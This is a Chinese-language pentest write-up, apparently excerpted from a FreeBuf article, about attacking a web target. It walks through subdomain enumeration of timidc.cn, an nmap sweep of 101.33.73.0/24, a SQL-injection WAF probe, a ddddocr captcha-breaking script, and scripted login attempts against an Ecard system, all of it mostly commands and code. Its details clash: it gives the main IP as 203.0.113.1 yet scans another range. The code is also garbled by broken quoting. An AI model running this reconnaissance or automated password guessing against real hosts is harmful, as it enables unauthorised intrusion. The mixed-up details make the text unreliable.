web安全检查步骤 方法

web安全检查步骤 方法

https://www.freebuf.com/fevents/485205.html

靶标清单给的是指向主站
curl -skI https://target-main.example.com

测试环境扔在不同的二级域名甚至一级域上
for sub in admin api app dev test demo manager console www m mail \
portal sso oa vpn git jenkins wiki erp crm cloud ops monitor static \
img cdn new old backup; do
echo -n “$sub.timidc.cn -> “
dig +short “$sub.timidc.cn” 2>/dev/null
done

第二层:DNS CNAME 泄露了内网
dig www.timidc.cn +short
dig www.timidc.cn +short CN

C段存活探测与CDN溯源
子域名和CNAME都扫出来之后,我多做了一个动作:C段存活探测。
既然主站IP是203.0.113.1,那同网段的其他主机可能也属于同一家厂商。
nmap -sn 101.33.73.0/24 —exclude 101.33.73.88 -T4 2>/dev/null | grep “Host is up”

反向查询:
dig -x 101.33.73.88 +short

WAF指纹识别也是资产发现阶段必须做的。对主站和Demo分别测试:

测试主站是否有WAF

$ curl -sk “https://target-main.example.com/?id=1%20AND%201=1
HTTP/2 200

正常返回,无WAF拦截

站点都没有WAF。这是个重要信息——意味着如果找到SQL注入或者命令执行,不需要考虑WAF绕过的额外成本。

测试数据
curl -sk -X POST “https://target-demo.example.com/Ecard/Main/Common/GetRsaKey“ \
-d “json=true” -H “X-Requested-With: XMLHttpRequest”

识别验证码 ,验证码是纯数字图片,4位数字,蓝底白字。用 ddddocr 可以稳定识别:
import ddddocr
ocr = ddddocr.DdddOcr()

def get_captcha(session):
r = session.get(
https://target-demo.example.com/Ecard/Main/Common/GetValidateCode“,
params={“r”: “0.1”}
)
return r.content

captcha_img = get_captcha(session)
captcha = ocr.classification(captcha_img)

清理非数字字符

captcha = re.sub(r’[^0-9]’, ‘’, captcha)

登录测试与受阻
自动化脚本写好了,开始上密码。登录接口的请求格式是form-urlencoded套一层JSON:
$ curl -sk -X POST “https://target-demo.example.com/Ecard/Main/Account/Login“ \
-H “Content-Type: application/x-www-form-urlencoded” \
-H “X-Requested-With: XMLHttpRequest” \
-d ‘json={“LoginType”:”Account”,”UserName”:”<RSA加密user>“,”Password”:”<RSA加密pass>“,”ValiCode”:”验证码”,”Key”:”<KeyID>“}’